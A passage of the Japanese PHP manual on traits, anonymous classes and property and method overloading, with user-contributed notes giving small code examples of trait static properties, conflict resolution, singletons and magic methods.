echo $y->getName() . ":\r\n";
echo $y->getDocComment() . "\r\n\r\n";

foreach($y->getTraits() as $traitObj) {
    echo $y->getName() . " ";
    echo $traitObj->getName() . ":\r\n";
    echo $traitObj->getDocComment() . "\r\n";
}

$moreBarObj = new \MoreBar();
$z = new \ReflectionClass($moreBarObj);
echo $z->getName() . " ";
echo $z->getDocComment() . "\r\n\r\n";

foreach($z->getTraits() as $traitObj) {
    echo $z->getName() . " ";
    echo $traitObj->getName() . ":\r\n";
    echo $traitObj->getDocComment() . "\r\n";
}
marko at newvibrations dot net 13-Oct-2016 12:51
As already noted, static properties and methods in trait could be accessed directly using trait. Since trait is language assisted c/p, you should be aware that static property from trait will be initialized to the value trait property had in the time of class declaration.

Example:

<?php

trait Beer {
    protected static $type = 'Light';
    public static function printed(){
        echo static::$type.PHP_EOL;
    }
    public static function setType($type){
        static::$type = $type;
    }
}

class Ale {
    use Beer;
}

Beer::setType("Dark");

class Lager {
    use Beer;
}

Beer::setType("Amber");

header("Content-type: text/plain");

Beer::printed();  // Prints: Amber
Ale::printed();   // Prints: Light
Lager::printed(); // Prints: Dark

?>
canufrank 10-Sep-2016 06:57
A number of the notes make incorrect assertions about trait behaviour because they do not extend the class.

So, while "Unlike inheritance; if a trait has static properties, each class using that trait has independent instances of those properties.

Example using parent class:
<?php
class TestClass {
    public static $_bar;
}
class Foo1 extends TestClass { }
class Foo2 extends TestClass { }
Foo1::$_bar = 'Hello';
Foo2::$_bar = 'World';
echo Foo1::$_bar . ' ' . Foo2::$_bar; // Prints: World World
?>

Example using trait:
<?php
trait TestTrait {
    public static $_bar;
}
class Foo1 {
    use TestTrait;
}
class Foo2 {
    use TestTrait;
}
Foo1::$_bar = 'Hello';
Foo2::$_bar = 'World';
echo Foo1::$_bar . ' ' . Foo2::$_bar; // Prints: Hello World
?>"

shows a correct example, simply adding
<?php
require_once('above');
class Foo3 extends Foo2 {
}
Foo3::$_bar = 'news';
echo Foo1::$_bar . ' ' . Foo2::$_bar . ' ' . Foo3::$_bar;

// Prints: Hello news news

I think the best conceptual model of an incorporated trait is an advanced insertion of text, or as someone put it "language assisted copy and paste." If Foo1 and Foo2 were defined with $_bar, you would not expect them to share the instance. Similarly, you would expect Foo3 to share with Foo2, and it does.

Viewing this way explains away a lot of  the 'quirks' that are observed above with final, or subsequently declared private vars,
Carlos Alberto Bertholdo Carucce 29-Mar-2016 06:17
If you want to resolve name conflicts and also change the visibility of a trait method, you'll need to declare both in the same line:

trait testTrait{

    public function test(){
        echo 'trait test';
    }

}

class myClass{

    use testTrait {
        testTrait::test as private testTraitF;
    }

    public function test(){
        echo 'class test';
        echo '<br/>';
        $this->testTraitF();
    }

}

$obj = new myClass();
$obj->test(); //prints both 'trait test' and 'class test'
$obj->testTraitF(); //The method is not accessible (Fatal error: Call to private method myClass::testTraitF() )
balbuf 25-Jan-2016 03:50
(It's already been said, but for the sake of searching on the word "relative"...)

The "use" keyword to import a trait into a class will resolve relative to the current namespace and therefore should include a leading slash to represent a full path, whereas "use" at the namespace level is always absolute.
Vasyl Sovyak 27-Nov-2015 01:05
<?php
trait A
{
    public function bar()
    {
        echo 'A::bar';
    }
}

trait B
{
    public function bar()
    {
        echo 'B::bar';
    }
}

trait C
{
    public function bar()
    {
        echo 'C::bar';
    }
}

class Foo
{
    use A, B, C {
        C::bar insteadof A, B;
    }
}

$foo = new Foo();
$foo->bar(); //C::bar
qeremy (!) gmail 19-Mar-2015 10:48
Keep in mind; "final" keyword is useless in traits when directly using them, unlike extending classes / abstract classes.

<?php
trait Foo {
    final public function hello($s) { print "$s, hello!"; }
}
class Bar {
    use Foo;
    // Overwrite, no error
    final public function hello($s) { print "hello, $s!"; }
}

abstract class Foo {
    final public function hello($s) { print "$s, hello!"; }
}
class Bar extends Foo {
    // Fatal error: Cannot override final method Foo::hello() in ..
    final public function hello($s) { print "hello, $s!"; }
}
?>

But this way will finalize trait methods as expected;

<?php
trait FooTrait {
    final public function hello($s) { print "$s, hello!"; }
}
abstract class Foo {
    use FooTrait;
}
class Bar extends Foo {
    // Fatal error: Cannot override final method Foo::hello() in ..
    final public function hello($s) { print "hello, $s!"; }
}
?>
84td84 at gmail dot com 17-Mar-2015 01:46
A note to 'Beispiel #9 Statische Variablen'. A trait can also have a static property:

trait Counter {
    static $trvar=1;

    public static function stfunc() {
        echo "Hello world!"
    }
}

class C1 {
    use Counter;
}

print "\nTRVAR: " . C1::$trvar . "\n";   //prints 1

$obj = new C1();
C1::stfunc();   //prints  Hello world!
$obj->stfunc();   //prints Hello world!

A static property (trvar) can only be accessed using the classname (C1).
But a static function (stfunc) can be accessed using the classname or the instance ($obj).
aram dot petrosyan dot 88 at gmail dot com 06-Feb-2015 04:34
It's possible to define abstract function in a trait as static and implement non-static version of the function , and it will works. Like this

trait B
{
    public function smallTalk()
    {
        echo 'b';
    }
    public function bigTalk()
    {
        echo 'B';
    }
    abstract public function talk();
}

class traitTest
{
    use B;

    public static function talk()
    {
        echo 111;
    }
}

Also, it's possible to define abstract non static , and implement static version.

Can't understand , is this a bug or it's a feature :)
Kristof 30-May-2014 11:18
don't forget you can create complex (embedded) traits as well

<?php
trait Name {
  // ...
}
trait Address {
  // ...
}
trait Telephone {
  // ...
}
trait Contact {
  use Name, Address, Telephone;
}
class Customer {
  use Contact;
}
class Invoce {
  use Contact;
}
?>
qschuler at neosyne dot com 14-Feb-2014 08:31
Note that you can omit a method's inclusion by excluding it from one trait in favor of the other and doing the exact same thing in the reverse way.

<?php

trait A {
    public function sayHello()
    {
        echo 'Hello from A';
    }

    public function sayWorld()
    {
        echo 'World from A';
    }
}

trait B {
    public function sayHello()
    {
        echo 'Hello from B';
    }

    public function sayWorld()
    {
        echo 'World from B';
    }
}

class Talker {
    use A, B {
        A::sayHello insteadof B;
        A::sayWorld insteadof B;
        B::sayWorld insteadof A;
    }
}

$talker = new Talker();
$talker->sayHello();
$talker->sayWorld();

?>

The method sayHello is imported, but the method sayWorld is simply excluded.
atorich at gmail dot com 29-Oct-2013 01:56
add to "chris dot rutledge at gmail dot com":
__CLASS__ will return the name of the class in which the trait is being used (!) not the class in which trait method is being called:

<?php
trait TestTrait {
    public function testMethod() {
        echo "Class: " . __CLASS__ . PHP_EOL;
        echo "Trait: " . __TRAIT__ . PHP_EOL;
    }
}

class BaseClass {
    use TestTrait;
}

class TestClass extends BaseClass {

}

$t = new TestClass();
$t->testMethod();

//Class: BaseClass
//Trait: TestTrait
Stefan W 22-Aug-2013 10:03
Note that the "use" operator for traits (inside a class) and the "use" operator for namespaces (outside the class) resolve names differently. "use" for namespaces always sees its arguments as absolute (starting at the global namespace):

<?php
namespace Foo\Bar;
use Foo\Test;  // means \Foo\Test - the initial \ is optional
?>

On the other hand, "use" for traits respects the current namespace:

<?php
namespace Foo\Bar;
class SomeClass {
    use Foo\Test;   // means \Foo\Bar\Foo\Test
}
?>

Together with "use" for closures, there are now three different "use" operators. They all mean different things and behave differently.
Oddant 29-May-2013 03:10
I think it's obvious to notice that using 'use' followed by the traits name must be seen as just copying/pasting lines of code into the place where they are used.
D. Marti 01-Nov-2012 03:25
Traits are useful for strategies, when you want the same data to be handled (filtered, sorted, etc) differently.

For example, you have a list of products that you want to filter out based on some criteria (brands, specs, whatever), or sorted by different means (price, label, whatever). You can create a sorting trait that contains different functions for different sorting types (numeric, string, date, etc). You can then use this trait not only in your product class (as given in the example), but also in other classes that need similar strategies (to apply a numeric sort to some data, etc).

<?php
trait SortStrategy {
    private $sort_field = null;
    private function string_asc($item1, $item2) {
        return strnatcmp($item1[$this->sort_field], $item2[$this->sort_field]);
    }
    private function string_desc($item1, $item2) {
        return strnatcmp($item2[$this->sort_field], $item1[$this->sort_field]);
    }
    private function num_asc($item1, $item2) {
        if ($item1[$this->sort_field] == $item2[$this->sort_field]) return 0;
        return ($item1[$this->sort_field] < $item2[$this->sort_field] ? -1 : 1 );
    }
    private function num_desc($item1, $item2) {
        if ($item1[$this->sort_field] == $item2[$this->sort_field]) return 0;
        return ($item1[$this->sort_field] > $item2[$this->sort_field] ? -1 : 1 );
    }
    private function date_asc($item1, $item2) {
        $date1 = intval(str_replace('-', '', $item1[$this->sort_field]));
        $date2 = intval(str_replace('-', '', $item2[$this->sort_field]));
        if ($date1 == $date2) return 0;
        return ($date1 < $date2 ? -1 : 1 );
    }
    private function date_desc($item1, $item2) {
        $date1 = intval(str_replace('-', '', $item1[$this->sort_field]));
        $date2 = intval(str_replace('-', '', $item2[$this->sort_field]));
        if ($date1 == $date2) return 0;
        return ($date1 > $date2 ? -1 : 1 );
    }
}

class Product {
    public $data = array();

    use SortStrategy;

    public function get() {
        // do something to get the data, for this ex. I just included an array
        $this->data = array(
            101222 => array('label' => 'Awesome product', 'price' => 10.50, 'date_added' => '2012-02-01'),
            101232 => array('label' => 'Not so awesome product', 'price' => 5.20, 'date_added' => '2012-03-20'),
            101241 => array('label' => 'Pretty neat product', 'price' => 9.65, 'date_added' => '2012-04-15'),
            101256 => array('label' => 'Freakishly cool product', 'price' => 12.55, 'date_added' => '2012-01-11'),
            101219 => array('label' => 'Meh product', 'price' => 3.69, 'date_added' => '2012-06-11'),
        );
    }

    public function sort_by($by = 'price', $type = 'asc') {
        if (!preg_match('/^(asc|desc)$/', $type)) $type = 'asc';
        switch ($by) {
            case 'name':
                $this->sort_field = 'label';
                uasort($this->data, array('Product', 'string_'.$type));
            break;
            case 'date':
                $this->sort_field = 'date_added';
                uasort($this->data, array('Product', 'date_'.$type));
            break;
            default:
                $this->sort_field = 'price';
                uasort($this->data, array('Product', 'num_'.$type));
        }
    }
}

$product = new Product();
$product->get();
$product->sort_by('name');
echo '<pre>'.print_r($product->data, true).'</pre>';
?>
artur at webprojektant dot pl 28-Sep-2012 06:10
Trait can not have the same name as class because it will  show: Fatal error: Cannot redeclare class
t8 at AT pobox dot com 23-Jul-2012 08:17
Another difference with traits vs inheritance is that methods defined in traits can access methods and properties of the class they're used in, including private ones.

For example:
<?php
trait MyTrait
{
  protected function accessVar()
  {
    return $this->var;
  }

}

class TraitUser
{
  use MyTrait;

  private $var = 'var';

  public function getVar()
  {
    return $this->accessVar();
  }
}

$t = new TraitUser();
echo $t->getVar(); // -> 'var'

?>
karolis at iwsolutions dot ie 18-Jul-2012 09:16
Not very obvious but trait methods can be called as if they were defined as static methods in a regular class

<?php
trait Foo {
    function bar() {
        return 'baz';
    }
}

echo Foo::bar(),"\\n";
?>
ryanhanekamp at yahoo dot com 10-May-2012 12:14
Using AS on a __construct method (and maybe other magic methods) is really, really bad. The problem is that is doesn't throw any errors, at least in 5.4.0. It just sporadically resets the connection. And when I say "sporadically," I mean that arbitrary changes in the preceding code can cause the browser connection to reset or not reset *consistently*, so that subsequent page refreshes will continue to hang, crash, or display perfectly in the same fashion as the first load of the page after a change in the preceding code, but the slightest change in the code can change this state. (I believe it is related to precise memory usage.)

I've spent a good part of the day chasing down this one, and weeping every time commenting or even moving a completely arbitrary section of code would cause the connection to reset. It was just by luck that I decided to comment the

"__construct as primitiveObjectConstruct"

line and then the crashes went away entirely.

My parent trait constructor was very simple, so my fix this time was to copy the functionality into the child __construct. I'm not sure how I'll approach a more complicated parent trait constructor.
ryan at derokorian dot com 15-Apr-2012 02:03
Simple singleton trait.

<?php

trait singleton {
    /**
     * private construct, generally defined by using class
     */
    //private function __construct() {}

    public static function getInstance() {
        static $_instance = NULL;
        $class = __CLASS__;
        return $_instance ?: $_instance = new $class;
    }

    public function __clone() {
        trigger_error('Cloning '.__CLASS__.' is not allowed.',E_USER_ERROR);
    }

    public function __wakeup() {
        trigger_error('Unserializing '.__CLASS__.' is not allowed.',E_USER_ERROR);
    }
}

/**
 * Example Usage
 */

class foo {
    use singleton;

    private function __construct() {
        $this->name = 'foo';
    }
}

class bar {
    use singleton;

    private function __construct() {
        $this->name = 'bar';
    }
}

$foo = foo::getInstance();
echo $foo->name;

$bar = bar::getInstance();
echo $bar->name;
Anonymous 27-Mar-2012 09:30
Traits can not implement interfaces.
(should be obvious, but tested is tested)
Safak Ozpinar / safakozpinar at gmail 18-Mar-2012 03:03
Unlike inheritance; if a trait has static properties, each class using that trait has independent instances of those properties.

Example using parent class:
<?php
class TestClass {
    public static $_bar;
}
class Foo1 extends TestClass { }
class Foo2 extends TestClass { }
Foo1::$_bar = 'Hello';
Foo2::$_bar = 'World';
echo Foo1::$_bar . ' ' . Foo2::$_bar; // Prints: World World
?>

Example using trait:
<?php
trait TestTrait {
    public static $_bar;
}
class Foo1 {
    use TestTrait;
}
class Foo2 {
    use TestTrait;
}
Foo1::$_bar = 'Hello';
Foo2::$_bar = 'World';
echo Foo1::$_bar . ' ' . Foo2::$_bar; // Prints: Hello World
?>
Jason dot Hofer dot deletify dot this dot part at gmail dot com 14-Mar-2012 04:39
A (somewhat) practical example of trait usage.

Without traits:

<?php

class Controller {
  /* Controller-specific methods defined here. */
}

class AdminController extends Controller {
  /* Controller-specific methods inherited from Controller. */
  /* Admin-specific methods defined here. */
}

class CrudController extends Controller {
  /* Controller-specific methods inherited from Controller. */
  /* CRUD-specific methods defined here. */
}

class AdminCrudController extends CrudController {
  /* Controller-specific methods inherited from Controller. */
  /* CRUD-specific methods inherited from CrudController. */
  /* (!!!) Admin-specific methods copied and pasted from AdminController. */
}

?>

With traits:

<?php

class Controller {
  /* Controller-specific methods defined here. */
}

class AdminController extends Controller {
  /* Controller-specific methods inherited from Controller. */
  /* Admin-specific methods defined here. */
}

trait CrudControllerTrait {
  /* CRUD-specific methods defined here. */
}

class AdminCrudController extends AdminController {
  use CrudControllerTrait;
  /* Controller-specific methods inherited from Controller. */
  /* Admin-specific methods inherited from AdminController. */
  /* CRUD-specific methods defined by CrudControllerTrait. */
}

?>
anthony bishopric 03-Mar-2012 12:11
The magic method __call works as expected using traits.

<?php
trait Call_Helper{

    public function __call($name, $args){
        return count($args);
    }
}

class Foo{
    use Call_Helper;
}

$foo = new Foo();
echo $foo->go(1,2,3,4); // echoes 4
Edward 01-Mar-2012 03:29
The difference between Traits and multiple inheritance is in the inheritance part.   A trait is not inherited from, but rather included or mixed-in, thus becoming part of "this class".   Traits also provide a more controlled means of resolving conflicts that inevitably arise when using multiple inheritance in the few languages that support them (C++).  Most modern languages are going the approach of a "traits" or "mixin" style system as opposed to multiple-inheritance, largely due to the ability to control ambiguities if a method is declared in multiple "mixed-in" classes.

Also, one can not "inherit" static member functions in multiple-inheritance.
greywire at gmail dot com 16-Feb-2012 07:12
The best way to understand what traits are and how to use them is to look at them for what they essentially are:  language assisted copy and paste.

If you can copy and paste the code from one class to another (and we've all done this, even though we try not to because its code duplication) then you have a candidate for a trait.
chris dot rutledge at gmail dot com 21-Dec-2011 12:42
It may be worth noting here that the magic constant __CLASS__ becomes even more magical - __CLASS__ will return the name of the class in which the trait is being used.

for example

<?php
trait sayWhere {
    public function whereAmI() {
        echo __CLASS__;
    }
}

class Hello {
    use sayWHere;
}

class World {
    use sayWHere;
}

$a = new Hello;
$a->whereAmI(); //Hello

$b = new World;
$b->whereAmI(); //World
?>

The magic constant __TRAIT__ will giev you the name of the trait


無名クラス

無名クラスは、その場限りの使い捨てのオブジェクトが必要になった場合に便利です。

<?php

// 明示的にクラスを宣言して使う
class Logger
{
    public function log($msg)
    {
        echo $msg;
    }
}

$util->setLogger(new Logger());

// 無名クラスを使う
$util->setLogger(new class {
    public function log($msg)
    {
        echo $msg;
    }
});

コンストラクタを使って引数を渡したり、他のクラスを継承したり、 インターフェイスを実装したり、トレイトを使ったりといった、 普通のクラスと同じようなことが可能です。

<?php

class SomeClass {}
interface SomeInterface {}
trait SomeTrait {}

var_dump(new class(10) extends SomeClass implements SomeInterface {
    private $num;

    public function __construct($num)
    {
        $this->num = $num;
    }

    use SomeTrait;
});

上の例の出力は以下となります。

object(class@anonymous)#1 (1) {
  ["Command line code0x104c5b612":"class@anonymous":private]=>
  int(10)
}

無名クラスを別のクラス内で作っても、外側のクラスの private や protected なメソッド、 およびプロパティにはアクセスできません。 外側のクラスの protected プロパティやメソッドにアクセスするには、 無名クラスに外側のクラスを継承させます。 外側のクラスの private プロパティを無名クラスで使うには、 コンストラクタでそれを渡す必要があります。

<?php

class Outer
{
    private $prop = 1;
    protected $prop2 = 2;

    protected function func1()
    {
        return 3;
    }

    public function func2()
    {
        return new class($this->prop) extends Outer {
            private $prop3;

            public function __construct($prop)
            {
                $this->prop3 = $prop;
            }

            public function func3()
            {
                return $this->prop2 + $this->prop3 + $this->func1();
            }
        };
    }
}

echo (new Outer)->func2()->func3();

上の例の出力は以下となります。

6

同じ無名クラス宣言から作ったすべてのオブジェクトは、その同じクラスのインスタンスとなります。

<?php
function anonymous_class()
{
    return new class {};
}

if (get_class(anonymous_class()) === get_class(anonymous_class())) {
    echo '同じクラス';
} else {
    echo '違うクラス';
}

上の例の出力は以下となります。

同じクラス

注意:

無名クラスには内部的な名前が付けられていることに注意しましょう。これは次の例で確認できます。 ただこれは細部の実装上の話なので、この名前に依存するコードを書いてはいけません。

<?php
echo get_class(new class {});

上の例の出力は、 たとえば以下のようになります。

class@anonymous/in/oNi1A0x7f8636ad2021

User Contributed Notes

razvan_bc at yahoo dot com 09-Mar-2020 05:27
you can try these

<?php

$oracle=&$_['nice_php'];
$_['nice_php']=(function(){
    return new class{
        public static function say($msg){
            echo $msg;
        }

        public static function sp(){
            echo self::say(' ');
        }

    };
});

/*
$_['nice_php']()::say('Hello');
$_['nice_php']()::sp();
$_['nice_php']()::say('World');
$_['nice_php']()::sp();
$_['nice_php']()::say('!');
//almost the same code bottom
*/

$oracle()::say('Hello');
$oracle()::sp();
$oracle()::say('World');
$oracle()::sp();
$oracle()::say('!');
?>
joey 09-Jul-2019 04:54
The only way to type hint this would appear to be as object.

If you need multiple instances of an anonymous class in a function you can use:

$class = function(string $arg):object {
    return new class($arg) {
        public function __construct(string $arg) {
            $this->ow = $arg;
        }
    };
};

Though for the sake of structure it's ill advised to do something like this outside of a single scope or that's used across multiple files. If you class is only used in one scope however then it's probably not a code mess problem.
sebastian.wasser at gmail 12-Feb-2019 12:14
I wanted to share my findings on static properties of anonymous classes.

So, given an anonymous class' object generating function like this:

<?php
function nc () {
    return new class {
        public static $prop = [];
    };
}
?>

Getting a new object and changing the static property:

<?php
$a = nc();
$a::$prop[] = 'a';

var_dump($a::$prop);
// array(1) {
//   [0] =>
//   string(1) "a"
// }
?>

Now getting another object and changing the static property will change the original one, meaning that the static property is truly static:

<?php
$b = nc();
$b::$prop[] = 'b';

var_dump($b::$prop); // Same as var_dump($a::$prop);
// array(2) {
//   [0] =>
//   string(1) "a"
//   [1] =>
//   string(1) "b"
// }

assert($a::$prop === $b::$prop); // true
?>
solobot 07-Nov-2017 01:33
eval() is workaround for generating multiple anonymous classes with static properties in loop
<?php
public function generateClassMap()
    {
        foreach ($this->classMap as $tableName => $class)
        {
            $c = null;
            eval('$c = new class extends \common\MyStaticClass {
                public static $tableName;
                public static function tableName()
                {
                    return static::$tableName;
                }
            };');
            $c::$tableName = $this->replicationPrefix.$tableName;
            $this->classMap[$tableName] = $c;

        }
    }
?>
thus every class will have its own $tableName instead of common ancestor.
j.m \ jamesweb \ ca 04-Oct-2017 12:21
/* I like the idea of OneShot classes.
Thanks to that Anonymous bro\sist for precising
new class( $a, $b )
￣￣￣￣￣￣￣￣￣

If you are looking for "Delayed OneShot Anonymous Classes" for any reason (like the reason: loading files in a readable manner while not using autoload), it would probably look something like this; */

$u = function()use(&$u){
    $u = new class{private $name = 'Utils';};
};

$w = function(&$rewrite)use(&$w){
    $w = null;
    $rewrite = new class{private $name = 'DataUtils';};
};

// Usage;
var_dump(
    array(
        'Delayed',
        '( Self Destructive )',
        'Anonymous Class Creation',
        array(
            'Before ( $u )' => $u,
            'Running ( $u() )' => $u(),
            'After ( $u )' => $u,
        ),
        0,0,
        0,0,
        0,0,
        'Delayed',
        '( Overwriting && Self Destructive )',
        'Anonymous Class Creation',
        array(
            'Before ( $w )' => $w,
            'Running ( $w($u) )' => $w($u),
            'After ( $w )' => $w,
            'After ( $u )' => $u
        )
    )
);

// btw : oh shoot I failed a spam challenge
ytubeshareit at gmail dot com 06-May-2017 01:59
Anonymous classes are syntax sugar that may appear deceiving to some.
The 'anonymous' class is still parsed into the global scope, where it is auto assigned a name, and every time the class is needed, that global class definition is used.  Example to illustrate....

The anonymous class version...
<?php

function return_anon(){
    return new class{
         public static $str="foo";
    };
}
$test=return_anon();
echo $test::$str; //ouputs foo

//we can still access the 'anon' class directly in the global scope!
$another=get_class($test); //get the auto assigned name
echo $another::$str;    //outputs foo
?>

The above is functionally the same as doing this....
<?php
class I_named_this_one{
    public static $str="foo";
}
function return_not_anon(){
    return 'I_named_this_one';
}
$clzz=return_not_anon();//get class name
echo $clzz::$str;
?>
piotr at maslosoft dot com 26-Apr-2017 05:47
Please note that class name returned by `get_class` might contain null bytes, as is the case in my version of PHP (7.1.4).

Name will change when class starting line or it's body is changed.

Yes, name is implementation detail that should not be relied upon, but in some rare use cases it is required (annotating anonymous class).
primipilus13 at gmail dot com 26-Sep-2016 07:02
<?php

// using constructor and extends in anonymous class

class A
{
    private $name;

    public function __construct($name)
    {
        $this->name = $name;
    }

    public function getName()
    {
        return $this->name;
    }
}

$b = new class('anonymous') extends A
{
    public function getName()
    {
        return parent::getName() . ' class';
    }
};

echo $b->getName(), PHP_EOL;

// result: anonimous class
Anonymous 25-Mar-2016 06:52
Below three examples describe anonymous class with very simple and basic but quite understandable example

<?php
// First way - anonymous class assigned directly to variable
$ano_class_obj = new class{
    public $prop1 = 'hello';
    public $prop2 = 754;
    const SETT = 'some config';

    public function getValue()
    {
        // do some operation
        return 'some returned value';
    }

    public function getValueWithArgu($str)
    {
        // do some operation
        return 'returned value is '.$str;
    }
};

echo "\n";

var_dump($ano_class_obj);
echo "\n";

echo $ano_class_obj->prop1;
echo "\n";

echo $ano_class_obj->prop2;
echo "\n";

echo $ano_class_obj::SETT;
echo "\n";

echo $ano_class_obj->getValue();
echo "\n";

echo $ano_class_obj->getValueWithArgu('OOP');
echo "\n";

echo "\n";

// Second way - anonymous class assigned to variable via defined function
$ano_class_obj_with_func = ano_func();

function ano_func()
{
    return new class {
        public $prop1 = 'hello';
        public $prop2 = 754;
        const SETT = 'some config';

        public function getValue()
        {
            // do some operation
            return 'some returned value';
        }

        public function getValueWithArgu($str)
        {
            // do some operation
            return 'returned value is '.$str;
        }
    };
}

echo "\n";

var_dump($ano_class_obj_with_func);
echo "\n";

echo $ano_class_obj_with_func->prop1;
echo "\n";

echo $ano_class_obj_with_func->prop2;
echo "\n";

echo $ano_class_obj_with_func::SETT;
echo "\n";

echo $ano_class_obj_with_func->getValue();
echo "\n";

echo $ano_class_obj_with_func->getValueWithArgu('OOP');
echo "\n";

echo "\n";

// Third way - passing argument to anonymous class via constructors
$arg = 1; // we got it by some operation
$config = [2, false]; // we got it by some operation
$ano_class_obj_with_arg = ano_func_with_arg($arg, $config);

function ano_func_with_arg($arg, $config)
{
    return new class($arg, $config) {
        public $prop1 = 'hello';
        public $prop2 = 754;
        public $prop3, $config;
        const SETT = 'some config';

        public function __construct($arg, $config)
        {
            $this->prop3 = $arg;
            $this->config =$config;
        }

        public function getValue()
        {
            // do some operation
            return 'some returned value';
        }

        public function getValueWithArgu($str)
        {
            // do some operation
            return 'returned value is '.$str;
        }
    };
}

echo "\n";

var_dump($ano_class_obj_with_arg);
echo "\n";

echo $ano_class_obj_with_arg->prop1;
echo "\n";

echo $ano_class_obj_with_arg->prop2;
echo "\n";

echo $ano_class_obj_with_arg::SETT;
echo "\n";

echo $ano_class_obj_with_arg->getValue();
echo "\n";

echo $ano_class_obj_with_arg->getValueWithArgu('OOP');
echo "\n";

echo "\n";


オーバーロード

PHP におけるオーバーロード機能は、 プロパティやメソッドを動的に 作成する ための手法です。 これらの動的エンティティは、マジックメソッドを用いて処理されます。 マジックメソッドは、クラス内でさまざまなアクションに対して用意することができます。

オーバーロードメソッドが起動するのは、 宣言されていないプロパティやメソッドを操作しようとしたときです。 また、現在のスコープからは アクセス不能な プロパティやメソッドを操作しようとしたときにも起動します。 このセクションでは、これらの (宣言されていない、 あるいは現在のスコープからはアクセス不能な) プロパティやメソッドのことを アクセス不能プロパティ および アクセス不能メソッド と表記することにします。

オーバーロードメソッドは、すべて public で定義しなければなりません。

注意:

これらのマジックメソッドの引数は、 リファレンス渡し とすることはできません。

注意:

PHP における オーバーロード の解釈は、他の多くのオブジェクト指向言語とは異なります。 一般的に「オーバーロード」とは、 「名前は同じだけれども引数の数や型が異なるメソッドを複数用意できる」 という機能のことを指します。

プロパティのオーバーロード

public __set ( string $name , mixed $value ) : void
public __get ( string $name ) : mixed
public __isset ( string $name ) : bool
public __unset ( string $name ) : void

__set() は、 アクセス不能(protected または private)または存在しないプロパティへデータを書き込む際に実行されます。

__get() は、 アクセス不能(protected または private)または存在しないプロパティからデータを読み込む際に使用します。

__isset() は、 isset() あるいは empty() をアクセス不能(protected または private)または存在しないプロパティに対して実行したときに起動します。

__unset() は、 unset() をアクセス不能(protected または private)または存在しないプロパティに対して実行したときに起動します。

引数 $name は、 操作しようとしたプロパティの名前です。 __set() メソッドの引数 $value は、 $name に設定しようとした値となります。

プロパティのオーバーロードはオブジェクトのコンテキストでのみ動作します。 これらのマジックメソッドは、静的コンテキストでは起動しません。 したがって、これらのメソッドを static 宣言してはいけません。 マジックメソッドを static 宣言すると警告が発生します。

注意:

__set() の返り値は無視されます。 これは、PHP が代入演算子を処理する方法によるものです。 同様に __get() は、

 $a = $obj->b = 8;
のように代入と連結した場合には決してコールされません。

例1
     __get()、
     __set()、__isset() および
     __unset() メソッドを使ったプロパティのオーバーロードの例

<?php
class PropertyTest
{
    /**  オーバーロードされるデータの場所  */
    private $data = array();

    /**  宣言されているプロパティにはオーバーロードは起動しません */
    public $declared = 1;

    /**  クラスの外部からアクセスした場合にのみこれがオーバーロードされます  */
    private $hidden = 2;

    public function __set($name, $value)
    {
        echo "Setting '$name' to '$value'\n";
        $this->data[$name] = $value;
    }

    public function __get($name)
    {
        echo "Getting '$name'\n";
        if (array_key_exists($name, $this->data)) {
            return $this->data[$name];
        }

        $trace = debug_backtrace();
        trigger_error(
            'Undefined property via __get(): ' . $name .
            ' in ' . $trace[0]['file'] .
            ' on line ' . $trace[0]['line'],
            E_USER_NOTICE);
        return null;
    }

    public function __isset($name)
    {
        echo "Is '$name' set?\n";
        return isset($this->data[$name]);
    }

    public function __unset($name)
    {
        echo "Unsetting '$name'\n";
        unset($this->data[$name]);
    }

    /**  マジックメソッドではありません。単なる例として示しています  */
    public function getHidden()
    {
        return $this->hidden;
    }
}

echo "<pre>\n";

$obj = new PropertyTest;

$obj->a = 1;
echo $obj->a . "\n\n";

var_dump(isset($obj->a));
unset($obj->a);
var_dump(isset($obj->a));
echo "\n";

echo $obj->declared . "\n\n";

echo "Let's experiment with the private property named 'hidden':\n";
echo "Privates are visible inside the class, so __get() not used...\n";
echo $obj->getHidden() . "\n";
echo "Privates not visible outside of class, so __get() is used...\n";
echo $obj->hidden . "\n";
?>

上の例の出力は以下となります。

Setting 'a' to '1'
Getting 'a'
1

Is 'a' set?
bool(true)
Unsetting 'a'
Is 'a' set?
bool(false)

1

Let's experiment with the private property named 'hidden':
Privates are visible inside the class, so __get() not used...
2
Privates not visible outside of class, so __get() is used...
Getting 'hidden'

Notice:  Undefined property via __get(): hidden in <file> on line 70 in <file> on line 29

メソッドのオーバーロード

public __call ( string $name , array $arguments ) : mixed
public static __callStatic ( string $name , array $arguments ) : mixed

__call() は、 アクセス不能メソッドをオブジェクトのコンテキストで実行したときに起動します。

__callStatic() は、 アクセス不能メソッドを静的コンテキストで実行したときに起動します。

引数 $name は、 コールしようとしたメソッドの名前です。 引数 $arguments は配列で、メソッド $name に渡そうとしたパラメータが格納されます。

例2 __call() および __callStatic() メソッドによる、メソッドのオーバーロードの例

<?php
class MethodTest
{
    public function __call($name, $arguments)
    {
        // 注意: $name は大文字小文字を区別します
        echo "Calling object method '$name' "
             . implode(', ', $arguments). "\n";
    }

    public static function __callStatic($name, $arguments)
    {
        // 注意: $name は大文字小文字を区別します
        echo "Calling static method '$name' "
             . implode(', ', $arguments). "\n";
    }
}

$obj = new MethodTest;
$obj->runTest('in object context');

MethodTest::runTest('in static context');
?>

上の例の出力は以下となります。

Calling object method 'runTest' in object context
Calling static method 'runTest' in static context

User Contributed Notes

instatiendaweb at gmail dot com 28-Feb-2021 05:43
class funcstatic{
//LLamar a una funcion estatica desde callstatic funciona
static function escribir($texto){echo "$texto"; }
//llamar a una funcion no estatica tambien funciona
function sum($a){echo $a = $a + $a , '<br>';}
}$funcstatic = new funcstatic();
class primertest{
 public function __call($name, $arguments){
global $funcstatic;
echo $funcstatic->$name((string)$arguments[0]);
}
public static function __callStatic($name, $arguments){
funcstatic::$name(" {$arguments[0]} ");
}
 }//ENDCLASS
 echo("<div class=\"div\">");
(new primertest)->sum(5); //Llamando a un metodo no estatico de otra clase
(new primertest)->escribir('Escribiendo y llamando a un metodo estatico de otra clase<br>');
echo("</div>");

class segundotest{
private static function escribir($texto){echo "$texto";}
private function sum($a){echo $a = $a + $a , '<br>';}

public function __call($name, $arguments){
echo $this->$name((string)$arguments[0]);
}
public static function __callStatic($name, $arguments){
    segundotest::$name(" {$arguments[0]} ");
}
}//ENDCLASS
echo("<div class=\"div\">");
(new segundotest)->sum(7); //Llamando a un metodo protegido de la clase
(new segundotest)->escribir('Llamando a un metodo estatico privado de la clase <br>');
echo("</div>");
elCreator 03-Sep-2020 11:06
class Enum {
    protected string $_value;

    protected function __construct(string $value) {
        $this->_value = $value;
    }

    public function is($key)
    {
        return $this->_value === $key;
    }

